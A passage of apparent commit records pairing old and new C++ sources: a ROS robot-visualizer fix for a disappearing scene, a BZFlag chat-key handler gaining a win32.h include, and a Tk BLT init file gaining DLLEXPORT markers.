joint_positions;\n  world.joint_state.ToMap(&joint_positions);\n  marker_builder_.SetJointPositions(joint_positions);\n  marker_builder_.Build(&robot_markers);\n  step_vizs_[program_id].robot_pub.publish(robot_markers);\n\n  std::string base_link(robot_config_.base_link());\n\n  \/\/ Publish the scene\n  PointCloud2 scene;\n  if (world.scene_id != \"\" && scene_db_.Get(world.scene_id, &scene)) {\n    if (world.scene_id != step_vizs_[program_id].last_scene_id) {\n      step_vizs_[program_id].scene_pub.publish(scene);\n      step_vizs_[program_id].last_scene_id = world.scene_id;\n    }\n  } else {\n    pcl::PointCloud<pcl::PointXYZRGB> blank;\n    pcl::PointXYZRGB pt;\n    blank.points.push_back(pt);\n    pcl::toROSMsg(blank, scene);\n    scene.header.frame_id = base_link;\n    step_vizs_[program_id].scene_pub.publish(scene);\n  }\n\n  \/\/ Publish landmark markers\n  MarkerArray scene_markers;\n  GetSegmentationMarker(world.surface_box_landmarks, robot_config_,\n                        &scene_markers);\n  if (scene_markers.markers.size() > 0) {\n    step_vizs_[program_id].surface_seg_pub.publish(scene_markers);\n  } else {\n    for (size_t i = 0; i < 100; ++i) {\n      Marker blank;\n      blank.ns = \"segmentation\";\n      blank.id = i;\n      blank.header.frame_id = base_link;\n      blank.type = Marker::CUBE;\n      blank.pose.orientation.w = 1;\n      blank.scale.x = 0.05;\n      blank.scale.y = 0.05;\n      blank.scale.z = 0.05;\n      scene_markers.markers.push_back(blank);\n    }\n    step_vizs_[program_id].surface_seg_pub.publish(scene_markers);\n  }\n}\n\nvoid Visualizer::StopPublishing(const std::string& program_id) {\n  if (step_vizs_.find(program_id) != step_vizs_.end()) {\n    step_vizs_.erase(program_id);\n  }\n}\n\nvoid Visualizer::CreateStepVizIfNotExists(const std::string& program_id) {\n  \/\/ Create the publisher if it doesn't exist.\n  if (step_vizs_.find(program_id) == step_vizs_.end()) {\n    step_vizs_[program_id].robot_pub =\n        nh_.advertise<MarkerArray>(\"robot\/\" + program_id, 10, true);\n    step_vizs_[program_id].scene_pub =\n        nh_.advertise<PointCloud2>(\"scene\/\" + program_id, 10, true);\n    step_vizs_[program_id].surface_seg_pub = nh_.advertise<MarkerArray>(\n        \"surface_segmentation\/\" + program_id, 10, true);\n    step_vizs_[program_id].last_scene_id = \"\";\n  }\n}\n\nRuntimeVisualizer::RuntimeVisualizer(const RobotConfig& robot_config,\n                                     const ros::Publisher& surface_box_pub)\n    : robot_config_(robot_config), surface_box_pub_(surface_box_pub) {}\n\nvoid RuntimeVisualizer::PublishSurfaceBoxes(\n    const std::vector<rapid_pbd_msgs::Landmark>& box_landmarks) const {\n  MarkerArray scene_markers;\n  GetSegmentationMarker(box_landmarks, robot_config_, &scene_markers);\n  surface_box_pub_.publish(scene_markers);\n}\n\nvoid GetSegmentationMarker(const std::vector<msgs::Landmark>& landmarks,\n                           const RobotConfig& robot_config,\n                           visualization_msgs::MarkerArray* scene_markers) {\n  std::vector<surface_perception::Object> objects;\n  for (size_t li = 0; li < landmarks.size(); ++li) {\n    const msgs::Landmark& landmark = landmarks[li];\n    surface_perception::Object object;\n    object.pose_stamped = landmark.pose_stamped;\n    object.dimensions = landmark.surface_box_dims;\n    objects.push_back(object);\n  }\n  surface_perception::ObjectMarkers(objects, &scene_markers->markers);\n\n  std::string base_link(robot_config.base_link());\n\n  for (size_t i = 0; i < objects.size(); ++i) {\n    scene_markers->markers[i].ns = \"segmentation\";\n    scene_markers->markers[i].id = i;\n  }\n  for (size_t i = 0; i < objects.size(); ++i) {\n    Marker marker = scene_markers->markers[i];\n    marker.type = Marker::TEXT_VIEW_FACING;\n    marker.ns = \"segmentation_names\";\n    marker.text = landmarks[i].name;\n    marker.pose.position.z += 0.15;\n    marker.scale.x = 0.1;\n    marker.scale.y = 0.1;\n    marker.scale.z = 0.1;\n    marker.color.r = 1;\n    marker.color.g = 0;\n    marker.color.b = 0;\n    marker.color.a = 1;\n    scene_markers->markers.push_back(marker);\n  }\n  int num_objects = objects.size();\n  for (size_t i = num_objects; i < 100; ++i) {\n    Marker blank;\n    blank.ns = \"segmentation\";\n    blank.id = i;\n    blank.header.frame_id = base_link;\n    blank.type = Marker::CUBE;\n    blank.pose.orientation.w = 1;\n    blank.scale.x = 0.05;\n    blank.scale.y = 0.05;\n    blank.scale.z = 0.05;\n    scene_markers->markers.push_back(blank);\n\n    blank.ns = \"segmentation_names\";\n    scene_markers->markers.push_back(blank);\n  }\n}\n}  \/\/ namespace pbd\n}  \/\/ namespace rapid\n<commit_msg>Fixed scene disappearing after it's first displayed.<commit_after>#include \"rapid_pbd\/visualizer.h\"\n\n#include <map>\n#include <sstream>\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"geometry_msgs\/TransformStamped.h\"\n#include \"pcl\/point_cloud.h\"\n#include \"pcl\/point_types.h\"\n#include \"pcl_conversions\/pcl_conversions.h\"\n#include \"rapid_pbd\/joint_state.h\"\n#include \"rapid_pbd_msgs\/EditorEvent.h\"\n#include \"rapid_pbd_msgs\/Landmark.h\"\n#include \"rapid_pbd_msgs\/Program.h\"\n#include \"robot_markers\/builder.h\"\n#include \"sensor_msgs\/PointCloud2.h\"\n#include \"surface_perception\/visualization.h\"\n#include \"visualization_msgs\/Marker.h\"\n#include \"visualization_msgs\/MarkerArray.h\"\n\n#include \"rapid_pbd\/robot_config.h\"\n#include \"rapid_pbd\/world.h\"\n\nnamespace msgs = rapid_pbd_msgs;\nusing sensor_msgs::PointCloud2;\nusing visualization_msgs::Marker;\nusing visualization_msgs::MarkerArray;\n\nnamespace rapid {\nnamespace pbd {\nVisualizer::Visualizer(const SceneDb& scene_db,\n                       const robot_markers::Builder& marker_builder,\n                       const RobotConfig& robot_config)\n    : scene_db_(scene_db),\n      marker_builder_(marker_builder),\n      robot_config_(robot_config),\n      step_vizs_(),\n      nh_() {}\n\nvoid Visualizer::Init() {\n  marker_builder_.Init();\n  marker_builder_.SetNamespace(\"robot\");\n  marker_builder_.SetFrameId(robot_config_.base_link());\n}\n\nvoid Visualizer::Publish(const std::string& program_id, const World& world) {\n  CreateStepVizIfNotExists(program_id);\n\n  \/\/ Publish the robot visualization\n  MarkerArray robot_markers;\n  std::map<std::string, double> joint_positions;\n  world.joint_state.ToMap(&joint_positions);\n  marker_builder_.SetJointPositions(joint_positions);\n  marker_builder_.Build(&robot_markers);\n  step_vizs_[program_id].robot_pub.publish(robot_markers);\n\n  std::string base_link(robot_config_.base_link());\n\n  \/\/ Publish the scene\n  PointCloud2 scene;\n  if (world.scene_id != \"\" && scene_db_.Get(world.scene_id, &scene)) {\n    if (world.scene_id != step_vizs_[program_id].last_scene_id) {\n      step_vizs_[program_id].scene_pub.publish(scene);\n    }\n  } else {\n    pcl::PointCloud<pcl::PointXYZRGB> blank;\n    pcl::PointXYZRGB pt;\n    blank.points.push_back(pt);\n    pcl::toROSMsg(blank, scene);\n    scene.header.frame_id = base_link;\n    step_vizs_[program_id].scene_pub.publish(scene);\n  }\n  step_vizs_[program_id].last_scene_id = world.scene_id;\n\n  \/\/ Publish landmark markers\n  MarkerArray scene_markers;\n  GetSegmentationMarker(world.surface_box_landmarks, robot_config_,\n                        &scene_markers);\n  if (scene_markers.markers.size() > 0) {\n    step_vizs_[program_id].surface_seg_pub.publish(scene_markers);\n  } else {\n    for (size_t i = 0; i < 100; ++i) {\n      Marker blank;\n      blank.ns = \"segmentation\";\n      blank.id = i;\n      blank.header.frame_id = base_link;\n      blank.type = Marker::CUBE;\n      blank.pose.orientation.w = 1;\n      blank.scale.x = 0.05;\n      blank.scale.y = 0.05;\n      blank.scale.z = 0.05;\n      scene_markers.markers.push_back(blank);\n    }\n    step_vizs_[program_id].surface_seg_pub.publish(scene_markers);\n  }\n}\n\nvoid Visualizer::StopPublishing(const std::string& program_id) {\n  if (step_vizs_.find(program_id) != step_vizs_.end()) {\n    step_vizs_.erase(program_id);\n  }\n}\n\nvoid Visualizer::CreateStepVizIfNotExists(const std::string& program_id) {\n  \/\/ Create the publisher if it doesn't exist.\n  if (step_vizs_.find(program_id) == step_vizs_.end()) {\n    step_vizs_[program_id].robot_pub =\n        nh_.advertise<MarkerArray>(\"robot\/\" + program_id, 10, true);\n    step_vizs_[program_id].scene_pub =\n        nh_.advertise<PointCloud2>(\"scene\/\" + program_id, 10, true);\n    step_vizs_[program_id].surface_seg_pub = nh_.advertise<MarkerArray>(\n        \"surface_segmentation\/\" + program_id, 10, true);\n    step_vizs_[program_id].last_scene_id = \"\";\n  }\n}\n\nRuntimeVisualizer::RuntimeVisualizer(const RobotConfig& robot_config,\n                                     const ros::Publisher& surface_box_pub)\n    : robot_config_(robot_config), surface_box_pub_(surface_box_pub) {}\n\nvoid RuntimeVisualizer::PublishSurfaceBoxes(\n    const std::vector<rapid_pbd_msgs::Landmark>& box_landmarks) const {\n  MarkerArray scene_markers;\n  GetSegmentationMarker(box_landmarks, robot_config_, &scene_markers);\n  surface_box_pub_.publish(scene_markers);\n}\n\nvoid GetSegmentationMarker(const std::vector<msgs::Landmark>& landmarks,\n                           const RobotConfig& robot_config,\n                           visualization_msgs::MarkerArray* scene_markers) {\n  std::vector<surface_perception::Object> objects;\n  for (size_t li = 0; li < landmarks.size(); ++li) {\n    const msgs::Landmark& landmark = landmarks[li];\n    surface_perception::Object object;\n    object.pose_stamped = landmark.pose_stamped;\n    object.dimensions = landmark.surface_box_dims;\n    objects.push_back(object);\n  }\n  surface_perception::ObjectMarkers(objects, &scene_markers->markers);\n\n  std::string base_link(robot_config.base_link());\n\n  for (size_t i = 0; i < objects.size(); ++i) {\n    scene_markers->markers[i].ns = \"segmentation\";\n    scene_markers->markers[i].id = i;\n  }\n  for (size_t i = 0; i < objects.size(); ++i) {\n    Marker marker = scene_markers->markers[i];\n    marker.type = Marker::TEXT_VIEW_FACING;\n    marker.ns = \"segmentation_names\";\n    marker.text = landmarks[i].name;\n    marker.pose.position.z += 0.15;\n    marker.scale.x = 0.1;\n    marker.scale.y = 0.1;\n    marker.scale.z = 0.1;\n    marker.color.r = 1;\n    marker.color.g = 0;\n    marker.color.b = 0;\n    marker.color.a = 1;\n    scene_markers->markers.push_back(marker);\n  }\n  int num_objects = objects.size();\n  for (size_t i = num_objects; i < 100; ++i) {\n    Marker blank;\n    blank.ns = \"segmentation\";\n    blank.id = i;\n    blank.header.frame_id = base_link;\n    blank.type = Marker::CUBE;\n    blank.pose.orientation.w = 1;\n    blank.scale.x = 0.05;\n    blank.scale.y = 0.05;\n    blank.scale.z = 0.05;\n    scene_markers->markers.push_back(blank);\n\n    blank.ns = \"segmentation_names\";\n    scene_markers->markers.push_back(blank);\n  }\n}\n}  \/\/ namespace pbd\n}  \/\/ namespace rapid\n<|endoftext|>"}
{"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2004 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/* interface header *\/\n#include \"ComposeDefaultKey.h\"\n\n\/* common implementation headers *\/\n#include \"RemotePlayer.h\"\n#include \"KeyManager.h\"\n\n\/* local implementation headers *\/\n#include \"LocalPlayer.h\"\n#include \"World.h\"\n#include \"HUDRenderer.h\"\n#include \"Roster.h\"\n\n\/* FIXME -- pulled from player.h *\/\nvoid addMessage(const Player* player, const std::string& msg, bool highlight=false, const char* oldColor=NULL);\nextern char messageMessage[PlayerIdPLen + MessageLen];\n#define MAX_MESSAGE_HISTORY (20)\nextern HUDRenderer *hud;\nextern ServerLink*\tserverLink;\nvoid selectNextRecipient (bool forward, bool robotIn);\n\n\nMessageQueue\tmessageHistory;\nunsigned int\tmessageHistoryIndex = 0;\n\nvoid printout(const std::string& name, void*)\n{\n  std::cout << name << \" = \" << BZDB.get(name) << std::endl;\n}\n\nvoid listSetVars(const std::string& name, void*)\n{\n  char message[MessageLen];\n\n  if (BZDB.getPermission(name) == StateDatabase::Locked) {\n    sprintf(message, \"\/set %s %f\", name.c_str(), BZDB.eval(name));\n    addMessage(LocalPlayer::getMyTank(), message, false, NULL);\n  }\n}\n\nbool\t\t\tComposeDefaultKey::keyPress(const BzfKeyEvent& key)\n{\n  bool sendIt;\n  LocalPlayer *myTank = LocalPlayer::getMyTank();\n  if (KEYMGR.get(key, true) == \"jump\") {\n    \/\/ jump while typing\n    myTank->jump();\n  }\n\n  if (myTank->getInputMethod() != LocalPlayer::Keyboard) {\n    if ((key.button == BzfKeyEvent::Up) ||\n\t(key.button == BzfKeyEvent::Down))\n      return true;\n  }\n\n  switch (key.ascii) {\n  case 3:\t\/\/ ^C\n  case 27:\t\/\/ escape\n    \/\/    case 127:\t\/\/ delete\n    sendIt = false;\t\t\t\/\/ finished composing -- don't send\n    break;\n\n  case 4:\t\/\/ ^D\n  case 13:\t\/\/ return\n    sendIt = true;\n    break;\n\n  default:\n    return false;\n  }\n\n  if (sendIt) {\n    std::string message = hud->getComposeString();\n\n    if (message.length() > 0) {\n      const char* silence = message.c_str();\n      if (strncmp(silence, \"SILENCE\", 7) == 0) {\n\tPlayer *loudmouth = getPlayerByName(silence + 8);\n\tif (loudmouth) {\n\t  silencePlayers.push_back(silence + 8);\n\t  std::string message = \"Silenced \";\n\t  message += (silence + 8);\n\t  addMessage(NULL, message);\n\t}\n      } else if (strncmp(silence, \"DUMP\", 4) == 0) {\n\tBZDB.iterate(printout, NULL);\n      } else if (strncmp(silence, \"UNSILENCE\", 9) == 0) {\n\tPlayer *loudmouth = getPlayerByName(silence + 10);\n\tif (loudmouth) {\n\t  std::vector<std::string>::iterator it = silencePlayers.begin();\n\t  for (; it != silencePlayers.end(); it++) {\n\t    if (*it == silence + 10) {\n\t      silencePlayers.erase(it);\n\t      std::string message = \"Unsilenced \";\n\t      message += (silence + 10);\n\t      addMessage(NULL, message);\n\t      break;\n\t    }\n\t  }\n\t}\n      } else if (strncmp(silence, \"SAVEWORLD\", 9) == 0) {\n\tstd::string path = silence + 10;\n\tif (World::getWorld()->writeWorld(path)) {\n\t  addMessage(NULL, \"World Saved\");\n\t} else {\n\t  addMessage(NULL, \"Invalid file name specified\");\n\t}\n      } else if (message == \"\/set\") {\n\tBZDB.iterate(listSetVars, NULL);\n      } else {\n\tint i, mhLen = messageHistory.size();\n\tfor (i = 0; i < mhLen; i++) {\n\t  if (messageHistory[i] == message) {\n\t    messageHistory.erase(messageHistory.begin() + i);\n\t    messageHistory.push_front(message);\n\t    break;\n\t  }\n\t}\n\tif (i == mhLen) {\n\t  if (mhLen >= MAX_MESSAGE_HISTORY) {\n\t    messageHistory.pop_back();\n\t  }\n\t  messageHistory.push_front(message);\n\t}\n\n\tchar messageBuffer[MessageLen];\n\tmemset(messageBuffer, 0, MessageLen);\n\tstrncpy(messageBuffer, message.c_str(), MessageLen);\n\tnboPackString(messageMessage + PlayerIdPLen, messageBuffer, MessageLen);\n\tserverLink->send(MsgMessage, sizeof(messageMessage), messageMessage);\n      }\n    }\n  }\n\n  messageHistoryIndex = 0;\n  hud->setComposing(std::string());\n  HUDui::setDefaultKey(NULL);\n  return true;\n}\n\nbool\t\t\tComposeDefaultKey::keyRelease(const BzfKeyEvent& key)\n{\n  LocalPlayer *myTank = LocalPlayer::getMyTank();\n  if (myTank->getInputMethod() != LocalPlayer::Keyboard) {\n    if (key.button == BzfKeyEvent::Up) {\n      if (messageHistoryIndex < messageHistory.size()) {\n\thud->setComposeString(messageHistory[messageHistoryIndex]);\n\tmessageHistoryIndex++;\n      }\n      else\n\thud->setComposeString(std::string());\n      return true;\n    }\n    else if (key.button == BzfKeyEvent::Down) {\n      if (messageHistoryIndex > 0){\n\tmessageHistoryIndex--;\n\thud->setComposeString(messageHistory[messageHistoryIndex]);\n      }\n      else\n\thud->setComposeString(std::string());\n      return true;\n    }\n    else if ((key.shift == BzfKeyEvent::ShiftKey || (hud->getComposeString().length() == 0)) &&\n\t     (key.button == BzfKeyEvent::Left || key.button == BzfKeyEvent::Right)) {\n      \/\/ exclude robot from private message recipient.\n      \/\/ No point sending messages to robot (now)\n      selectNextRecipient(key.button != BzfKeyEvent::Left, false);\n      const Player *recipient = myTank->getRecipient();\n      if (recipient) {\n\tvoid* buf = messageMessage;\n\tbuf = nboPackUByte(buf, recipient->getId());\n\tstd::string composePrompt = \"Send to \";\n\tcomposePrompt += recipient->getCallSign();\n\tcomposePrompt += \": \";\n\thud->setComposing(composePrompt);\n      }\n      return false;\n    }\n  }\n  return keyPress(key);\n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>Include win32.h to quell C4786<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2004 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/* interface header *\/\n#include \"ComposeDefaultKey.h\"\n\n\/* common implementation headers *\/\n#include \"win32.h\"\n#include \"RemotePlayer.h\"\n#include \"KeyManager.h\"\n\n\/* local implementation headers *\/\n#include \"LocalPlayer.h\"\n#include \"World.h\"\n#include \"HUDRenderer.h\"\n#include \"Roster.h\"\n\n\/* FIXME -- pulled from player.h *\/\nvoid addMessage(const Player* player, const std::string& msg, bool highlight=false, const char* oldColor=NULL);\nextern char messageMessage[PlayerIdPLen + MessageLen];\n#define MAX_MESSAGE_HISTORY (20)\nextern HUDRenderer *hud;\nextern ServerLink*\tserverLink;\nvoid selectNextRecipient (bool forward, bool robotIn);\n\n\nMessageQueue\tmessageHistory;\nunsigned int\tmessageHistoryIndex = 0;\n\nvoid printout(const std::string& name, void*)\n{\n  std::cout << name << \" = \" << BZDB.get(name) << std::endl;\n}\n\nvoid listSetVars(const std::string& name, void*)\n{\n  char message[MessageLen];\n\n  if (BZDB.getPermission(name) == StateDatabase::Locked) {\n    sprintf(message, \"\/set %s %f\", name.c_str(), BZDB.eval(name));\n    addMessage(LocalPlayer::getMyTank(), message, false, NULL);\n  }\n}\n\nbool\t\t\tComposeDefaultKey::keyPress(const BzfKeyEvent& key)\n{\n  bool sendIt;\n  LocalPlayer *myTank = LocalPlayer::getMyTank();\n  if (KEYMGR.get(key, true) == \"jump\") {\n    \/\/ jump while typing\n    myTank->jump();\n  }\n\n  if (myTank->getInputMethod() != LocalPlayer::Keyboard) {\n    if ((key.button == BzfKeyEvent::Up) ||\n\t(key.button == BzfKeyEvent::Down))\n      return true;\n  }\n\n  switch (key.ascii) {\n  case 3:\t\/\/ ^C\n  case 27:\t\/\/ escape\n    \/\/    case 127:\t\/\/ delete\n    sendIt = false;\t\t\t\/\/ finished composing -- don't send\n    break;\n\n  case 4:\t\/\/ ^D\n  case 13:\t\/\/ return\n    sendIt = true;\n    break;\n\n  default:\n    return false;\n  }\n\n  if (sendIt) {\n    std::string message = hud->getComposeString();\n\n    if (message.length() > 0) {\n      const char* silence = message.c_str();\n      if (strncmp(silence, \"SILENCE\", 7) == 0) {\n\tPlayer *loudmouth = getPlayerByName(silence + 8);\n\tif (loudmouth) {\n\t  silencePlayers.push_back(silence + 8);\n\t  std::string message = \"Silenced \";\n\t  message += (silence + 8);\n\t  addMessage(NULL, message);\n\t}\n      } else if (strncmp(silence, \"DUMP\", 4) == 0) {\n\tBZDB.iterate(printout, NULL);\n      } else if (strncmp(silence, \"UNSILENCE\", 9) == 0) {\n\tPlayer *loudmouth = getPlayerByName(silence + 10);\n\tif (loudmouth) {\n\t  std::vector<std::string>::iterator it = silencePlayers.begin();\n\t  for (; it != silencePlayers.end(); it++) {\n\t    if (*it == silence + 10) {\n\t      silencePlayers.erase(it);\n\t      std::string message = \"Unsilenced \";\n\t      message += (silence + 10);\n\t      addMessage(NULL, message);\n\t      break;\n\t    }\n\t  }\n\t}\n      } else if (strncmp(silence, \"SAVEWORLD\", 9) == 0) {\n\tstd::string path = silence + 10;\n\tif (World::getWorld()->writeWorld(path)) {\n\t  addMessage(NULL, \"World Saved\");\n\t} else {\n\t  addMessage(NULL, \"Invalid file name specified\");\n\t}\n      } else if (message == \"\/set\") {\n\tBZDB.iterate(listSetVars, NULL);\n      } else {\n\tint i, mhLen = messageHistory.size();\n\tfor (i = 0; i < mhLen; i++) {\n\t  if (messageHistory[i] == message) {\n\t    messageHistory.erase(messageHistory.begin() + i);\n\t    messageHistory.push_front(message);\n\t    break;\n\t  }\n\t}\n\tif (i == mhLen) {\n\t  if (mhLen >= MAX_MESSAGE_HISTORY) {\n\t    messageHistory.pop_back();\n\t  }\n\t  messageHistory.push_front(message);\n\t}\n\n\tchar messageBuffer[MessageLen];\n\tmemset(messageBuffer, 0, MessageLen);\n\tstrncpy(messageBuffer, message.c_str(), MessageLen);\n\tnboPackString(messageMessage + PlayerIdPLen, messageBuffer, MessageLen);\n\tserverLink->send(MsgMessage, sizeof(messageMessage), messageMessage);\n      }\n    }\n  }\n\n  messageHistoryIndex = 0;\n  hud->setComposing(std::string());\n  HUDui::setDefaultKey(NULL);\n  return true;\n}\n\nbool\t\t\tComposeDefaultKey::keyRelease(const BzfKeyEvent& key)\n{\n  LocalPlayer *myTank = LocalPlayer::getMyTank();\n  if (myTank->getInputMethod() != LocalPlayer::Keyboard) {\n    if (key.button == BzfKeyEvent::Up) {\n      if (messageHistoryIndex < messageHistory.size()) {\n\thud->setComposeString(messageHistory[messageHistoryIndex]);\n\tmessageHistoryIndex++;\n      }\n      else\n\thud->setComposeString(std::string());\n      return true;\n    }\n    else if (key.button == BzfKeyEvent::Down) {\n      if (messageHistoryIndex > 0){\n\tmessageHistoryIndex--;\n\thud->setComposeString(messageHistory[messageHistoryIndex]);\n      }\n      else\n\thud->setComposeString(std::string());\n      return true;\n    }\n    else if ((key.shift == BzfKeyEvent::ShiftKey || (hud->getComposeString().length() == 0)) &&\n\t     (key.button == BzfKeyEvent::Left || key.button == BzfKeyEvent::Right)) {\n      \/\/ exclude robot from private message recipient.\n      \/\/ No point sending messages to robot (now)\n      selectNextRecipient(key.button != BzfKeyEvent::Left, false);\n      const Player *recipient = myTank->getRecipient();\n      if (recipient) {\n\tvoid* buf = messageMessage;\n\tbuf = nboPackUByte(buf, recipient->getId());\n\tstd::string composePrompt = \"Send to \";\n\tcomposePrompt += recipient->getCallSign();\n\tcomposePrompt += \": \";\n\thud->setComposing(composePrompt);\n      }\n      return false;\n    }\n  }\n  return keyPress(key);\n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Smithsonian Astrophysical Observatory, Cambridge, MA, USA\n * This code has been modified under the terms listed below and is made\n * available under the same terms.\n *\/\n\n\/*\n *\tCopyright 1991-2004 George A Howlett.\n *\n *\tPermission is hereby granted, free of charge, to any person obtaining\n *\ta copy of this software and associated documentation files (the\n *\t\"Software\"), to deal in the Software without restriction, including\n *\twithout limitation the rights to use, copy, modify, merge, publish,\n *\tdistribute, sublicense, and\/or sell copies of the Software, and to\n *\tpermit persons to whom the Software is furnished to do so, subject to\n *\tthe following conditions:\n *\n *\tThe above copyright notice and this permission notice shall be\n *\tincluded in all copies or substantial portions of the Software.\n *\n *\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *\tMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n *\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n *\tLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n *\tOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n *\tWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <tk.h>\n#include <iostream>\nusing namespace std;\n\nextern \"C\" {\nTcl_AppInitProc Tkblt_Init;\nTcl_AppInitProc Tkblt_SafeInit;\n};\n\nTcl_AppInitProc Blt_VectorCmdInitProc;\nTcl_AppInitProc Blt_GraphCmdInitProc;\n\n#include \"tkbltStubInit.c\"\n\nint Tkblt_Init(Tcl_Interp* interp)\n{\n  Tcl_Namespace *nsPtr;\n\n  if (Tcl_InitStubs(interp, TCL_PATCH_LEVEL, 0) == NULL)\n    return TCL_ERROR;\n  if (Tk_InitStubs(interp, TK_PATCH_LEVEL, 0) == NULL)\n    return TCL_ERROR;\n\n  nsPtr = Tcl_FindNamespace(interp, \"::blt\", (Tcl_Namespace *)NULL, 0);\n  if (nsPtr == NULL) {\n    nsPtr = Tcl_CreateNamespace(interp, \"::blt\", NULL, NULL);\n    if (nsPtr == NULL)\n      return TCL_ERROR;\n  }\n\n  if (Blt_VectorCmdInitProc(interp) != TCL_OK)\n    return TCL_ERROR;\n  if (Blt_GraphCmdInitProc(interp) != TCL_OK)\n    return TCL_ERROR;\n\n  if (Tcl_PkgProvideEx(interp, PACKAGE_NAME, PACKAGE_VERSION, (ClientData)&tkbltStubs) != TCL_OK)\n    return TCL_ERROR;\n\n  return TCL_OK;\n}\n\nint Tkblt_SafeInit(Tcl_Interp* interp)\n{\n  return Tkblt_Init(interp);\n}\n<commit_msg>Export Tkblt_Init and Tkblt_SafeInit symbols<commit_after>\/*\n * Smithsonian Astrophysical Observatory, Cambridge, MA, USA\n * This code has been modified under the terms listed below and is made\n * available under the same terms.\n *\/\n\n\/*\n *\tCopyright 1991-2004 George A Howlett.\n *\n *\tPermission is hereby granted, free of charge, to any person obtaining\n *\ta copy of this software and associated documentation files (the\n *\t\"Software\"), to deal in the Software without restriction, including\n *\twithout limitation the rights to use, copy, modify, merge, publish,\n *\tdistribute, sublicense, and\/or sell copies of the Software, and to\n *\tpermit persons to whom the Software is furnished to do so, subject to\n *\tthe following conditions:\n *\n *\tThe above copyright notice and this permission notice shall be\n *\tincluded in all copies or substantial portions of the Software.\n *\n *\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *\tMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n *\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n *\tLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n *\tOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n *\tWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <tk.h>\n#include <iostream>\nusing namespace std;\n\nextern \"C\" {\nDLLEXPORT Tcl_AppInitProc Tkblt_Init;\nDLLEXPORT Tcl_AppInitProc Tkblt_SafeInit;\n};\n\nTcl_AppInitProc Blt_VectorCmdInitProc;\nTcl_AppInitProc Blt_GraphCmdInitProc;\n\n#include \"tkbltStubInit.c\"\n\nDLLEXPORT int Tkblt_Init(Tcl_Interp* interp)\n{\n  Tcl_Namespace *nsPtr;\n\n  if (Tcl_InitStubs(interp, TCL_PATCH_LEVEL, 0) == NULL)\n    return TCL_ERROR;\n  if (Tk_InitStubs(interp, TK_PATCH_LEVEL, 0) == NULL)\n    return TCL_ERROR;\n\n  nsPtr = Tcl_FindNamespace(interp, \"::blt\", (Tcl_Namespace *)NULL, 0);\n  if (nsPtr == NULL) {\n    nsPtr = Tcl_CreateNamespace(interp, \"::blt\", NULL, NULL);\n    if (nsPtr == NULL)\n      return TCL_ERROR;\n  }\n\n  if (Blt_VectorCmdInitProc(interp) != TCL_OK)\n    return TCL_ERROR;\n  if (Blt_GraphCmdInitProc(interp) != TCL_OK)\n    return TCL_ERROR;\n\n  if (Tcl_PkgProvideEx(interp, PACKAGE_NAME, PACKAGE_VERSION, (ClientData)&tkbltStubs) != TCL_OK)\n    return TCL_ERROR;\n\n  return TCL_OK;\n}\n\nDLLEXPORT int Tkblt_SafeInit(Tcl_Interp* interp)\n{\n  return Tkblt_Init(interp);\n}\n<|endoftext|>"}
